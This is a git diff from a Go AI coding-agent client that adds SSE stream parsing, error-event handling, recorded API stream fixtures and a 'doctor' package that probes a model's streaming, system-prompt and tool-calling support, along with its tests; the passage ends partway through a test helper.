envelope struct { + Error struct { + Type string `json:"type"` + Message string `json:"message"` + } `json:"error"` + } + _ = json.Unmarshal([]byte(payload), &envelope) + msg := envelope.Error.Message + if envelope.Error.Type != "" { + msg = envelope.Error.Type + ": " + msg + } + if msg == "" { + msg = payload + } + event = errorEvent("Error: stream " + msg) + } return &event, nil } + +// errorEvent builds the stream event the runtime and REPL treat as a surfaced +// error: Kind "error" with the message in BlockDelta.Text. Keep every producer +// on this one shape so the consumer check in repl.go stays a single condition. +func errorEvent(text string) apitypes.StreamEvent { + return apitypes.StreamEvent{ + Kind: "error", + BlockDelta: &apitypes.ContentBlockDelta{Kind: "text_delta", Text: text}, + } +} + +// streamErrorEvent wraps a transport or parse failure as an error event. +func streamErrorEvent(err error) apitypes.StreamEvent { + return errorEvent("Error: stream interrupted: " + err.Error()) +} + +// forwardEvents sends events until done or the context is cancelled. It +// reports false when the consumer has gone away so the producer can stop. +// A cancelled context is the user's doing, not a failure, which is why an +// error event queued after Ctrl-C is dropped here rather than displayed. +func forwardEvents(ctx context.Context, ch chan<- apitypes.StreamEvent, events []apitypes.StreamEvent) bool { + for _, ev := range events { + if ctx.Err() != nil { + return false + } + select { + case ch <- ev: + case <-ctx.Done(): + return false + } + } + return true +} diff --git a/internal/apiclient/sse_test.go b/internal/apiclient/sse_test.go new file mode 100644 index 0000000..7f15ec3 --- /dev/null +++ b/internal/apiclient/sse_test.go @@ -0,0 +1,196 @@ +package apiclient + +import ( + "errors" + "reflect" + "strings" + "testing" + + "github.com/AlleyBo55/gocode/internal/apitypes" +) + +// pushAll feeds body to a fresh parser in pieces of the given size and +// returns every event, including any flushed by Finish. +func pushAll(t *testing.T, body []byte, piece int) []apitypes.StreamEvent { + t.Helper() + p := NewSseParser() + var out []apitypes.StreamEvent + for i := 0; i < len(body); i += piece { + end := min(i+piece, len(body)) + evs, err := p.Push(body[i:end]) + if err != nil { + t.Fatalf("push (piece %d) at %d: %v", piece, i, err) + } + out = append(out, evs...) + } + evs, err := p.Finish() + if err != nil { + t.Fatalf("finish (piece %d): %v", piece, err) + } + return append(out, evs...) +} + +func TestSseParserIsIndependentOfReadBoundaries(t *testing.T) { + // A socket hands the parser arbitrary byte ranges. Every split must yield + // the same events as the whole stream at once, or a token boundary that + // happens to land inside a frame corrupts the reply. + for _, name := range []string{"anthropic_text.sse", "anthropic_tool_use.sse", "anthropic_error_midstream.sse"} { + body := fixture(t, name) + whole := pushAll(t, body, len(body)) + if len(whole) == 0 { + t.Fatalf("%s: fixture produced no events", name) + } + for _, piece := range []int{1, 2, 3, 7, 64, 1000} { + got := pushAll(t, body, piece) + if !reflect.DeepEqual(got, whole) { + t.Errorf("%s: piece size %d produced %v, whole produced %v", name, piece, kinds(got), kinds(whole)) + } + } + } +} + +func TestSseParserAnthropicTextFixture(t *testing.T) { + events := pushAll(t, fixture(t, "anthropic_text.sse"), 4096) + + // ping is discarded; everything else arrives in order. + want := []string{"message_start", "content_block_start", "content_block_delta", "content_block_delta", "content_block_stop", "message_delta", "message_stop"} + if got := kinds(events); !reflect.DeepEqual(got, want) { + t.Fatalf("kinds = %v, want %v", got, want) + } + + start := findKind(events, "message_start") + if start.Message == nil || start.Message.ID != "msg_01XFDUDYJgAACzvnptvVoYEL" || start.Message.Model != "claude-sonnet-4-6" { + t.Errorf("message_start not decoded: %+v", start.Message) + } + // Anthropic reports input tokens here, not in message_delta. Anything that + // only reads message_delta under-counts every streamed turn. + if start.Message.Usage.InputTokens != 25 { + t.Errorf("message_start input_tokens = %d, want 25", start.Message.Usage.InputTokens) + } + + if got := textOf(events, 0); got != "Hello, world!" { + t.Errorf("text = %q", got) + } + + delta := findKind(events, "message_delta") + if delta.Delta == nil || delta.Delta.StopReason != "end_turn" { + t.Errorf("message_delta stop_reason not decoded: %+v", delta.Delta) + } + if delta.DeltaUsage == nil || delta.DeltaUsage.OutputTokens != 15 { + t.Errorf("message_delta usage not decoded: %+v", delta.DeltaUsage) + } +} + +func TestSseParserAnthropicToolUseFixture(t *testing.T) { + events := pushAll(t, fixture(t, "anthropic_tool_use.sse"), 4096) + + tool := blockStart(events, 1) + if tool == nil || tool.Kind != "tool_use" || tool.ID != "toolu_01A09q90qw90lq917835lq9" || tool.Name != "read_file" { + t.Fatalf("tool_use block start not decoded: %+v", tool) + } + // The first input_json_delta Anthropic sends is empty; the rest must + // concatenate into valid JSON exactly as sent. + if got := toolInputOf(events, 1); got != `{"path": "go.mod"}` { + t.Errorf("tool input = %q", got) + } + if got := textOf(events, 0); got != "I'll read the file." { + t.Errorf("text = %q", got) + } + if d := findKind(events, "message_delta"); d.Delta.StopReason != "tool_use" || d.DeltaUsage.OutputTokens != 61 { + t.Errorf("message_delta = %+v / %+v", d.Delta, d.DeltaUsage) + } +} + +func TestSseParserAcceptsCRLFFrames(t *testing.T) { + lf := fixture(t, "anthropic_text.sse") + crlf := []byte(strings.ReplaceAll(string(lf), "\n", "\r\n")) + if !reflect.DeepEqual(kinds(pushAll(t, crlf, 4096)), kinds(pushAll(t, lf, 4096))) { + t.Error("CRLF framing produced different events from LF framing") + } + // And with CRLF cut at every byte, which exercises the 4-byte separator + // straddling a read boundary. + if !reflect.DeepEqual(kinds(pushAll(t, crlf, 1)), kinds(pushAll(t, lf, 4096))) { + t.Error("CRLF framing at 1-byte reads produced different events") + } +} + +func TestSseParserSkipsCommentsDoneAndJoinsMultiLineData(t *testing.T) { + raw := ": keep-alive comment\n" + + "data: {\"type\":\"message_stop\"}\n\n" + + "data: [DONE]\n\n" + + // The SSE spec allows a payload split over several data: lines, + // joined by newlines. One leading space after the colon is stripped. + "data: {\"type\":\"content_block_delta\",\"index\":0,\n" + + "data: \"delta\":{\"type\":\"text_delta\",\"text\":\"two lines\"}}\n\n" + events := pushAll(t, []byte(raw), 4096) + want := []string{"message_stop", "content_block_delta"} + if got := kinds(events); !reflect.DeepEqual(got, want) { + t.Fatalf("kinds = %v, want %v", got, want) + } + if events[1].BlockDelta == nil || events[1].BlockDelta.Text != "two lines" { + t.Errorf("multi-line data not joined: %+v", events[1].BlockDelta) + } +} + +func TestSseParserFinishFlushesUnterminatedFrame(t *testing.T) { + p := NewSseParser() + evs, err := p.Push([]byte("data: {\"type\":\"message_stop\"}")) + if err != nil || len(evs) != 0 { + t.Fatalf("unterminated frame should wait: %v %v", evs, err) + } + evs, err = p.Finish() + if err != nil || len(evs) != 1 || evs[0].Kind != "message_stop" { + t.Fatalf("finish = %v, %v", evs, err) + } + // Finish is idempotent on an empty buffer. + if evs, err = p.Finish(); err != nil || evs != nil { + t.Errorf("second finish = %v, %v", evs, err) + } +} + +func TestSseParserReportsBadFrameWithoutLosingEarlierEvents(t *testing.T) { + p := NewSseParser() + evs, err := p.Push([]byte("data: {\"type\":\"message_start\"}\n\ndata: {not json\n\n")) + var apiErr *apitypes.ApiError + if !errors.As(err, &apiErr) || apiErr.Kind != apitypes.ErrInvalidSseFrame { + t.Fatalf("want ErrInvalidSseFrame, got %v", err) + } + if len(evs) != 1 || evs[0].Kind != "message_start" { + t.Errorf("events before the bad frame were dropped: %v", kinds(evs)) + } +} + +func TestSseParserReshapesAnthropicErrorFrameForDisplay(t *testing.T) { + // Anthropic's mid-stream failure is an "error" frame with no content + // block. The REPL only shows Kind "error" when BlockDelta carries text + // (repl.go), so the parser must put the message there or it is dropped. + events := pushAll(t, fixture(t, "anthropic_error_midstream.sse"), 4096) + ev := findKind(events, "error") + if ev == nil { + t.Fatalf("no error event in %v", kinds(events)) + } + if ev.BlockDelta == nil || ev.BlockDelta.Kind != "text_delta" { + t.Fatalf("error event has no displayable text: %+v", ev) + } + for _, want := range []string{"overloaded_error", "Overloaded"} { + if !strings.Contains(ev.BlockDelta.Text, want) { + t.Errorf("error text %q should mention %q", ev.BlockDelta.Text, want) + } + } + // Content that arrived before the failure is still delivered. + if got := textOf(events, 0); got != "Partial" { + t.Errorf("text before error = %q", got) + } +} + +func TestErrorEventMatchesTheShapeTheReplChecks(t *testing.T) { + // repl.go: `if ev.Kind == "error" && ev.BlockDelta != nil`. Every producer + // goes through errorEvent so this is the one place the shape is pinned. + ev := errorEvent("Error: boom") + if ev.Kind != "error" || ev.BlockDelta == nil || ev.BlockDelta.Text != "Error: boom" { + t.Errorf("errorEvent shape drifted: %+v", ev) + } + if got := streamErrorEvent(errors.New("eof")).BlockDelta.Text; !strings.Contains(got, "stream interrupted") || !strings.Contains(got, "eof") { + t.Errorf("streamErrorEvent text = %q", got) + } +} diff --git a/internal/apiclient/testdata/anthropic_error_midstream.sse b/internal/apiclient/testdata/anthropic_error_midstream.sse new file mode 100644 index 0000000..946ab54 --- /dev/null +++ b/internal/apiclient/testdata/anthropic_error_midstream.sse @@ -0,0 +1,12 @@ +event: message_start +data: {"type":"message_start","message":{"id":"msg_01ErrFixture","type":"message","role":"assistant","content":[],"model":"claude-sonnet-4-6","stop_reason":null,"stop_sequence":null,"usage":{"input_tokens":10,"output_tokens":1}}} + +event: content_block_start +data: {"type":"content_block_start","index":0,"content_block":{"type":"text","text":""}} + +event: content_block_delta +data: {"type":"content_block_delta","index":0,"delta":{"type":"text_delta","text":"Partial"}} + +event: error +data: {"type":"error","error":{"type":"overloaded_error","message":"Overloaded"}} + diff --git a/internal/apiclient/testdata/anthropic_text.sse b/internal/apiclient/testdata/anthropic_text.sse new file mode 100644 index 0000000..8e7ed4a --- /dev/null +++ b/internal/apiclient/testdata/anthropic_text.sse @@ -0,0 +1,24 @@ +event: message_start +data: {"type":"message_start","message":{"id":"msg_01XFDUDYJgAACzvnptvVoYEL","type":"message","role":"assistant","content":[],"model":"claude-sonnet-4-6","stop_reason":null,"stop_sequence":null,"usage":{"input_tokens":25,"cache_creation_input_tokens":0,"cache_read_input_tokens":0,"output_tokens":1}}} + +event: content_block_start +data: {"type":"content_block_start","index":0,"content_block":{"type":"text","text":""}} + +event: ping +data: {"type": "ping"} + +event: content_block_delta +data: {"type":"content_block_delta","index":0,"delta":{"type":"text_delta","text":"Hello"}} + +event: content_block_delta +data: {"type":"content_block_delta","index":0,"delta":{"type":"text_delta","text":", world!"}} + +event: content_block_stop +data: {"type":"content_block_stop","index":0} + +event: message_delta +data: {"type":"message_delta","delta":{"stop_reason":"end_turn","stop_sequence":null},"usage":{"output_tokens":15}} + +event: message_stop +data: {"type":"message_stop"} + diff --git a/internal/apiclient/testdata/anthropic_tool_use.sse b/internal/apiclient/testdata/anthropic_tool_use.sse new file mode 100644 index 0000000..ee24961 --- /dev/null +++ b/internal/apiclient/testdata/anthropic_tool_use.sse @@ -0,0 +1,33 @@ +event: message_start +data: {"type":"message_start","message":{"id":"msg_01ToolUseFixture","type":"message","role":"assistant","content":[],"model":"claude-sonnet-4-6","stop_reason":null,"stop_sequence":null,"usage":{"input_tokens":412,"cache_creation_input_tokens":0,"cache_read_input_tokens":0,"output_tokens":3}}} + +event: content_block_start +data: {"type":"content_block_start","index":0,"content_block":{"type":"text","text":""}} + +event: content_block_delta +data: {"type":"content_block_delta","index":0,"delta":{"type":"text_delta","text":"I'll read the file."}} + +event: content_block_stop +data: {"type":"content_block_stop","index":0} + +event: content_block_start +data: {"type":"content_block_start","index":1,"content_block":{"type":"tool_use","id":"toolu_01A09q90qw90lq917835lq9","name":"read_file","input":{}}} + +event: content_block_delta +data: {"type":"content_block_delta","index":1,"delta":{"type":"input_json_delta","partial_json":""}} + +event: content_block_delta +data: {"type":"content_block_delta","index":1,"delta":{"type":"input_json_delta","partial_json":"{\"path\": \"go."}} + +event: content_block_delta +data: {"type":"content_block_delta","index":1,"delta":{"type":"input_json_delta","partial_json":"mod\"}"}} + +event: content_block_stop +data: {"type":"content_block_stop","index":1} + +event: message_delta +data: {"type":"message_delta","delta":{"stop_reason":"tool_use","stop_sequence":null},"usage":{"output_tokens":61}} + +event: message_stop +data: {"type":"message_stop"} + diff --git a/internal/apiclient/testdata/openai_parallel_tool_calls.sse b/internal/apiclient/testdata/openai_parallel_tool_calls.sse new file mode 100644 index 0000000..31698b3 --- /dev/null +++ b/internal/apiclient/testdata/openai_parallel_tool_calls.sse @@ -0,0 +1,14 @@ +data: {"id":"chatcmpl-par","object":"chat.completion.chunk","created":1700000002,"model":"gpt-4o-2024-08-06","choices":[{"index":0,"delta":{"role":"assistant","content":null,"tool_calls":[{"index":0,"id":"call_a","type":"function","function":{"name":"read_file","arguments":""}}]},"logprobs":null,"finish_reason":null}]} + +data: {"id":"chatcmpl-par","object":"chat.completion.chunk","created":1700000002,"model":"gpt-4o-2024-08-06","choices":[{"index":0,"delta":{"tool_calls":[{"index":0,"function":{"arguments":"{\"path\":\"a.go\"}"}}]},"logprobs":null,"finish_reason":null}]} + +data: {"id":"chatcmpl-par","object":"chat.completion.chunk","created":1700000002,"model":"gpt-4o-2024-08-06","choices":[{"index":0,"delta":{"tool_calls":[{"index":1,"id":"call_b","type":"function","function":{"name":"read_file","arguments":""}}]},"logprobs":null,"finish_reason":null}]} + +data: {"id":"chatcmpl-par","object":"chat.completion.chunk","created":1700000002,"model":"gpt-4o-2024-08-06","choices":[{"index":0,"delta":{"tool_calls":[{"index":1,"function":{"arguments":"{\"path\":\"b.go\"}"}}]},"logprobs":null,"finish_reason":null}]} + +data: {"id":"chatcmpl-par","object":"chat.completion.chunk","created":1700000002,"model":"gpt-4o-2024-08-06","choices":[{"index":0,"delta":{},"logprobs":null,"finish_reason":"tool_calls"}]} + +data: {"id":"chatcmpl-par","object":"chat.completion.chunk","created":1700000002,"model":"gpt-4o-2024-08-06","choices":[],"usage":{"prompt_tokens":88,"completion_tokens":30,"total_tokens":118}} + +data: [DONE] + diff --git a/internal/apiclient/testdata/openai_text.sse b/internal/apiclient/testdata/openai_text.sse new file mode 100644 index 0000000..78ebc0d --- /dev/null +++ b/internal/apiclient/testdata/openai_text.sse @@ -0,0 +1,12 @@ +data: {"id":"chatcmpl-abc","object":"chat.completion.chunk","created":1700000000,"model":"gpt-4o-2024-08-06","system_fingerprint":"fp_test","choices":[{"index":0,"delta":{"role":"assistant","content":"","refusal":null},"logprobs":null,"finish_reason":null}],"usage":null} + +data: {"id":"chatcmpl-abc","object":"chat.completion.chunk","created":1700000000,"model":"gpt-4o-2024-08-06","system_fingerprint":"fp_test","choices":[{"index":0,"delta":{"content":"Hello"},"logprobs":null,"finish_reason":null}],"usage":null} + +data: {"id":"chatcmpl-abc","object":"chat.completion.chunk","created":1700000000,"model":"gpt-4o-2024-08-06","system_fingerprint":"fp_test","choices":[{"index":0,"delta":{"content":", world!"},"logprobs":null,"finish_reason":null}],"usage":null} + +data: {"id":"chatcmpl-abc","object":"chat.completion.chunk","created":1700000000,"model":"gpt-4o-2024-08-06","system_fingerprint":"fp_test","choices":[{"index":0,"delta":{},"logprobs":null,"finish_reason":"stop"}],"usage":null} + +data: {"id":"chatcmpl-abc","object":"chat.completion.chunk","created":1700000000,"model":"gpt-4o-2024-08-06","system_fingerprint":"fp_test","choices":[],"usage":{"prompt_tokens":12,"completion_tokens":4,"total_tokens":16}} + +data: [DONE] + diff --git a/internal/apiclient/testdata/openai_tool_calls.sse b/internal/apiclient/testdata/openai_tool_calls.sse new file mode 100644 index 0000000..ee1d00b --- /dev/null +++ b/internal/apiclient/testdata/openai_tool_calls.sse @@ -0,0 +1,12 @@ +data: {"id":"chatcmpl-tool","object":"chat.completion.chunk","created":1700000001,"model":"gpt-4o-2024-08-06","choices":[{"index":0,"delta":{"role":"assistant","content":null,"tool_calls":[{"index":0,"id":"call_abc123","type":"function","function":{"name":"read_file","arguments":""}}]},"logprobs":null,"finish_reason":null}]} + +data: {"id":"chatcmpl-tool","object":"chat.completion.chunk","created":1700000001,"model":"gpt-4o-2024-08-06","choices":[{"index":0,"delta":{"tool_calls":[{"index":0,"function":{"arguments":"{\"pa"}}]},"logprobs":null,"finish_reason":null}]} + +data: {"id":"chatcmpl-tool","object":"chat.completion.chunk","created":1700000001,"model":"gpt-4o-2024-08-06","choices":[{"index":0,"delta":{"tool_calls":[{"index":0,"function":{"arguments":"th\": \"go.mod\"}"}}]},"logprobs":null,"finish_reason":null}]} + +data: {"id":"chatcmpl-tool","object":"chat.completion.chunk","created":1700000001,"model":"gpt-4o-2024-08-06","choices":[{"index":0,"delta":{},"logprobs":null,"finish_reason":"tool_calls"}]} + +data: {"id":"chatcmpl-tool","object":"chat.completion.chunk","created":1700000001,"model":"gpt-4o-2024-08-06","choices":[],"usage":{"prompt_tokens":40,"completion_tokens":12,"total_tokens":52}} + +data: [DONE] + diff --git a/internal/apitypes/errors.go b/internal/apitypes/errors.go index 9e1b2c6..c0f953f 100644 --- a/internal/apitypes/errors.go +++ b/internal/apitypes/errors.go @@ -22,6 +22,10 @@ type ApiError struct { Kind string Status int ErrorType string + // Code is the provider's machine-readable error code when it is separate + // from ErrorType. OpenAI-compatible APIs put "context_length_exceeded" here + // while ErrorType stays "invalid_request_error"; Anthropic leaves it empty. + Code string Message string Body string Retryable bool @@ -35,6 +39,9 @@ type ApiError struct { func (e *ApiError) Error() string { switch e.Kind { case ErrMissingCredentials: + if e.Message != "" { + return e.Message + } return fmt.Sprintf("missing %s credentials; export %s before calling the API", e.Provider, joinOr(e.EnvVars)) case ErrExpiredOAuthToken: return "saved OAuth token is expired and no refresh token is available" diff --git a/internal/apitypes/types.go b/internal/apitypes/types.go index 72145a8..2d0468a 100644 --- a/internal/apitypes/types.go +++ b/internal/apitypes/types.go @@ -110,8 +110,22 @@ type InputContentBlock struct { Content string `json:"content,omitempty"` IsError bool `json:"is_error,omitempty"` Source *ImageSource `json:"source,omitempty"` // for image blocks + // CacheControl marks a prompt-cache breakpoint on Anthropic. Providers + // that do not support it ignore the field. Set only on request copies, + // never on the stored session, or breakpoints accumulate across turns. + CacheControl *CacheControl `json:"cache_control,omitempty"` } +// CacheControl is Anthropic's prompt-cache marker. The only type is +// "ephemeral"; the cache covers everything up to and including the block +// that carries it. +type CacheControl struct { + Type string `json:"type"` +} + +// EphemeralCache is the cache marker to attach to a block. +func EphemeralCache() *CacheControl { return &CacheControl{Type: "ephemeral"} } + // ToolDef is an LLM tool definition. type ToolDef struct { Name string `json:"name"` diff --git a/internal/doctor/doctor.go b/internal/doctor/doctor.go new file mode 100644 index 0000000..4f9b194 --- /dev/null +++ b/internal/doctor/doctor.go @@ -0,0 +1,366 @@ +// Package doctor probes what a model can actually do through gocode's +// provider layer: stream, honour a system prompt, call a tool, and call +// several tools in one turn. The answers turn "it broke with model X" into +// "X does not support parallel tool calls", and they are cached per model +// so the probe spends tokens once, not on every run. +package doctor + +import ( + "context" + "encoding/json" + "fmt" + "strings" + "time" + + "github.com/AlleyBo55/gocode/internal/apiclient" + "github.com/AlleyBo55/gocode/internal/apitypes" +) + +// Check names, in the order they run. +const ( + CheckStreaming = "streaming" + CheckSystemPrompt = "system prompt" + CheckToolCall = "tool call" + CheckParallel = "parallel tool calls" +) + +// Check is one probed capability. +type Check struct { + Name string `json:"name"` + OK bool `json:"ok"` + Detail string `json:"detail,omitempty"` + Latency time.Duration `json:"latency_ns"` +} + +// Report is the result of probing one model. +type Report struct { + Model string `json:"model"` + ProbedAt time.Time `json:"probed_at"` + Checks []Check `json:"checks"` + Usage apitypes.Usage `json:"usage"` // tokens the probe itself spent +} + +// Supports reports whether a named check passed. known is false when the +// report has no such check. +func (r Report) Supports(name string) (ok, known bool) { + for _, c := range r.Checks { + if c.Name == name { + return c.OK, true + } + } + return false, false +} + +// AllOK is true when every check passed. +func (r Report) AllOK() bool { + for _, c := range r.Checks { + if !c.OK { + return false + } + } + return len(r.Checks) > 0 +} + +// Render formats the report in the same ✓/✗ style as the rest of doctor. +func (r Report) Render() string { + var b strings.Builder + fmt.Fprintf(&b, "Model: %s probed %s probe cost: %d in / %d out tokens", + r.Model, r.ProbedAt.Local().Format("2006-01-02 15:04"), r.Usage.InputTokens, r.Usage.OutputTokens) + width := 0 + for _, c := range r.Checks { + width = max(width, len(c.Name)) + } + for _, c := range r.Checks { + mark := "✓" + if !c.OK { + mark = "✗" + } + fmt.Fprintf(&b, "\n %s %-*s %s", mark, width, c.Name, c.Detail) + } + return b.String() +} + +// Prober runs the capability checks against one provider and model. +type Prober struct { + Provider apiclient.Provider + Model string + // Timeout bounds each check. Zero means 60 seconds. + Timeout time.Duration + // MaxTokens caps each probe reply. Zero means 256, which is plenty for a + // one-word answer or two tool calls and keeps a runaway model cheap. + MaxTokens int +} + +// Run executes every check in order and never returns an error: a failure +// to complete a check is that check's result. +func (p Prober) Run(ctx context.Context) Report { + rep := Report{Model: p.Model, ProbedAt: time.Now()} + add := func(c Check, u apitypes.Usage) { + rep.Checks = append(rep.Checks, c) + rep.Usage.InputTokens += u.InputTokens + rep.Usage.OutputTokens += u.OutputTokens + rep.Usage.CacheCreationInputTokens += u.CacheCreationInputTokens + rep.Usage.CacheReadInputTokens += u.CacheReadInputTokens + } + + add(p.checkStreaming(ctx)) + add(p.checkSystemPrompt(ctx)) + tool, u := p.checkToolCall(ctx) + add(tool, u) + if !tool.OK { + add(Check{Name: CheckParallel, Detail: "skipped: single tool call did not work"}, apitypes.Usage{}) + } else { + add(p.checkParallel(ctx)) + } + return rep +} + +func (p Prober) timeout() time.Duration { + if p.Timeout > 0 { + return p.Timeout + } + return 60 * time.Second +} + +func (p Prober) request(prompt string) apitypes.MessageRequest { + maxTokens := p.MaxTokens + if maxTokens <= 0 { + maxTokens = 256 + } + return apitypes.MessageRequest{ + Model: p.Model, + MaxTokens: maxTokens, + Messages: []apitypes.InputMessage{apitypes.UserText(prompt)}, + } +} + +func (p Prober) checkStreaming(parent context.Context) (Check, apitypes.Usage) { + ctx, cancel := context.WithTimeout(parent, p.timeout()) + defer cancel() + c := Check{Name: CheckStreaming} + start := time.Now() + + ch, err := p.Provider.StreamMessage(ctx, p.request("Reply with the single word OK and nothing else.")) + if err != nil { + c.Detail = "request failed: " + err.Error() + c.Latency = time.Since(start) + return c, apitypes.Usage{} + } + + var ( + usage apitypes.Usage + text strings.Builder + firstToken time.Duration + sawStop bool + errText string + ) + for ev := range ch { + switch ev.Kind { + case "message_start": + if ev.Message != nil { + usage = ev.Message.Usage + } + case "content_block_delta": + if ev.BlockDelta != nil && ev.BlockDelta.Kind == "text_delta" && ev.BlockDelta.Text != "" { + if firstToken == 0 { + firstToken = time.Since(start) + } + text.WriteString(ev.BlockDelta.Text) + } + case "message_delta": + if ev.DeltaUsage != nil { + usage = mergeUsage(usage, *ev.DeltaUsage) + } + case "message_stop": + sawStop = true + case "error": + if ev.BlockDelta != nil { + errText = ev.BlockDelta.Text + } else { + errText = "stream reported an error" + } + } + } + c.Latency = time.Since(start) + + switch { + case errText != "": + c.Detail = errText + case text.Len() == 0: + c.Detail = "stream closed without any text" + case !sawStop: + c.Detail = "stream ended without message_stop; the reply may have been cut off" + case ctx.Err() != nil: + c.Detail = "timed out after " + p.timeout().String() + default: + c.OK = true + c.Detail = fmt.Sprintf("first token in %s", firstToken.Round(time.Millisecond)) + } + return c, usage +} + +func (p Prober) checkSystemPrompt(parent context.Context) (Check, apitypes.Usage) { + ctx, cancel := context.WithTimeout(parent, p.timeout()) + defer cancel() + c := Check{Name: CheckSystemPrompt} + start := time.Now() + + req := p.request("hello") + req.System = "You are a test harness. Whatever the user says, reply with exactly the word PINEAPPLE and nothing else." + resp, err := p.Provider.SendMessage(ctx, req) + c.Latency = time.Since(start) + if err != nil { + c.Detail = "request failed: " + err.Error() + return c, apitypes.Usage{} + } + reply := textOf(resp) + if strings.Contains(strings.ToUpper(reply), "PINEAPPLE") { + c.OK = true + c.Detail = "honoured" + } else { + c.Detail = "ignored; replied " + quoteShort(reply) + } + return c, resp.Usage +} + +func (p Prober) checkToolCall(parent context.Context) (Check, apitypes.Usage) { + ctx, cancel := context.WithTimeout(parent, p.timeout()) + defer cancel() + c := Check{Name: CheckToolCall} + start := time.Now() + + req := p.request("What is the weather in Paris right now? You must call the get_weather tool to find out; do not answer from memory.") + req.Tools = []apitypes.ToolDef{weatherTool()} + resp, err := p.Provider.SendMessage(ctx, req) + c.Latency = time.Since(start) + if err != nil { + c.Detail = "request failed: " + err.Error() + return c, apitypes.Usage{} + } + + calls := weatherCalls(resp) + if len(calls) == 0 { + c.Detail = fmt.Sprintf("no tool_use block (stop_reason=%s); replied %s", resp.StopReason, quoteShort(textOf(resp))) + return c, resp.Usage + } + args := calls[0].Input + var parsed map[string]any + if err := json.Unmarshal(args, &parsed); err != nil { + c.Detail = "arguments were not a JSON object: " + quoteShort(string(args)) + return c, resp.Usage + } + if raw, ok := parsed["raw"]; ok && len(parsed) == 1 { + // The provider layer wraps unparsable arguments as {"raw": "..."}. + c.Detail = "arguments were not valid JSON: " + quoteShort(fmt.Sprint(raw)) + return c, resp.Usage + } + if _, ok := parsed["city"]; !ok { + c.Detail = "arguments missed the required \"city\" field: " + compactJSON(args) + return c, resp.Usage + } + c.OK = true + c.Detail = "arguments " + compactJSON(args) + return c, resp.Usage +} + +// compactJSON renders a JSON value on one line without re-quoting it, so a +// tool's arguments read as JSON in the report rather than as an escaped string. +func compactJSON(raw json.RawMessage) string { + var v any + if err := json.Unmarshal(raw, &v); err != nil { + return quoteShort(string(raw)) + } + out, err := json.Marshal(v) + if err != nil { + return quoteShort(string(raw)) + } + s := string(out) + if len(s) > 80 { + s = s[:79] + "…" + } + return s +} + +func (p Prober) checkParallel(parent context.Context) (Check, apitypes.Usage) { + ctx, cancel := context.WithTimeout(parent, p.timeout()) + defer cancel() + c := Check{Name: CheckParallel} + start := time.Now() + + req := p.request("Get the current weather for Paris and for Tokyo. Call get_weather once for each city, both in this same response.") + req.Tools = []apitypes.ToolDef{weatherTool()} + resp, err := p.Provider.SendMessage(ctx, req) + c.Latency = time.Since(start) + if err != nil { + c.Detail = "request failed: " + err.Error() + return c, apitypes.Usage{} + } + + switch n := len(weatherCalls(resp)); { + case n >= 2: + c.OK = true + c.Detail = fmt.Sprintf("%d calls in one turn", n) + case n == 1: + c.Detail = "1 call in one turn: this model serialises tool use, expect more round trips" + default: + c.Detail = "no tool call when asked for two" + } + return c, resp.Usage +} + +func weatherTool() apitypes.ToolDef { + return apitypes.ToolDef{ + Name: "get_weather", + Description: "Get the current weather for a city.", + InputSchema: json.RawMessage(`{"type":"object","properties":{"city":{"type":"string","description":"City name"}},"required":["city"]}`), + } +} + +func weatherCalls(resp *apitypes.MessageResponse) []apitypes.OutputContentBlock { + var out []apitypes.OutputContentBlock + for _, b := range resp.Content { + if b.Kind == "tool_use" && strings.EqualFold(b.Name, "get_weather") { + out = append(out, b) + } + } + return out +} + +func textOf(resp *apitypes.MessageResponse) string { + var b strings.Builder + for _, block := range resp.Content { + if block.Kind == "text" { + b.WriteString(block.Text) + } + } + return strings.TrimSpace(b.String()) +} + +func quoteShort(s string) string { + s = strings.TrimSpace(s) + if s == "" { + return `""` + } + const limit = 80 + if len(s) > limit { + s = s[:limit-1] + "…" + } + return fmt.Sprintf("%q", s) +} + +// mergeUsage layers message_delta usage over message_start usage; non-zero +// delta counters are cumulative totals and replace the base. +func mergeUsage(base, delta apitypes.Usage) apitypes.Usage { + pick := func(b, d int) int { + if d != 0 { + return d + } + return b + } + return apitypes.Usage{ + InputTokens: pick(base.InputTokens, delta.InputTokens), + CacheCreationInputTokens: pick(base.CacheCreationInputTokens, delta.CacheCreationInputTokens), + CacheReadInputTokens: pick(base.CacheReadInputTokens, delta.CacheReadInputTokens), + OutputTokens: pick(base.OutputTokens, delta.OutputTokens), + } +} diff --git a/internal/doctor/doctor_test.go b/internal/doctor/doctor_test.go new file mode 100644 index 0000000..1b6626d --- /dev/null +++ b/internal/doctor/doctor_test.go @@ -0,0 +1,368 @@ +package doctor + +import ( + "context" + "encoding/json" + "errors" + "os" + "path/filepath" + "strings" + "testing" + "time" + + "github.com/AlleyBo55/gocode/internal/apiclient" + "github.com/AlleyBo55/gocode/internal/apitypes" +) + +// fakeModel answers each probe from closures so a test can describe a model's +// behaviour ("ignores system prompts", "one tool call at a time") directly. +type fakeModel struct { + stream func(req apitypes.MessageRequest) ([]apitypes.StreamEvent, error) + send func(req apitypes.MessageRequest) (*apitypes.MessageResponse, error) + // delay, when set, makes SendMessage wait that long or until ctx is done, + // the way a real HTTP call would. + delay time.Duration + sent []apitypes.MessageRequest +} + +func (f *fakeModel) Kind() apiclient.ProviderKind { return apiclient.ProviderOpenAi } + +func (f *fakeModel) SendMessage(ctx context.Context, req apitypes.MessageRequest) (*apitypes.MessageResponse, error) { + f.sent = append(f.sent, req) + if f.delay > 0 { + select { + case <-ctx.Done(): + return nil, ctx.Err() + case <-time.After(f.delay): + } + } + return f.send(req) +} + +func (f *fakeModel) StreamMessage(_ context.Context, req apitypes.MessageRequest) (<-chan apitypes.StreamEvent, error) { + f.sent = append(f.sent, req) + events, err := f.stream(req) + if err != nil { + return nil, err + } + ch := make(chan apitypes.StreamEvent, len(events)) + for _, ev := range events { + ch <- ev + } + close(ch) + return ch, nil +} + +func textResp(text string) *apitypes.MessageResponse { + return &apitypes.MessageResponse{ + Role: "assistant", StopReason: "end_turn", + Content: []apitypes.OutputContentBlock{{Kind: "text", Text: text}}, + Usage: apitypes.Usage{InputTokens: 10, OutputTokens: 2}, + } +} + +func toolResp(args ...string) *apitypes.MessageResponse { + r := &apitypes.MessageResponse{Role: "assistant", StopReason: "tool_use", Usage: apitypes.Usage{InputTokens: 40, OutputTokens: 12}} + for i, a := range args { + r.Content = append(r.Content, apitypes.OutputContentBlock{Kind: "tool_use", ID: "call_" + string(rune('a'+i)), Name: "get_weather", Input: json.RawMessage(a)}) + } + return r +} + +func goodStream(apitypes.MessageRequest) ([]apitypes.StreamEvent, error) { + return []apitypes.StreamEvent{ + {Kind: "message_start", Message: 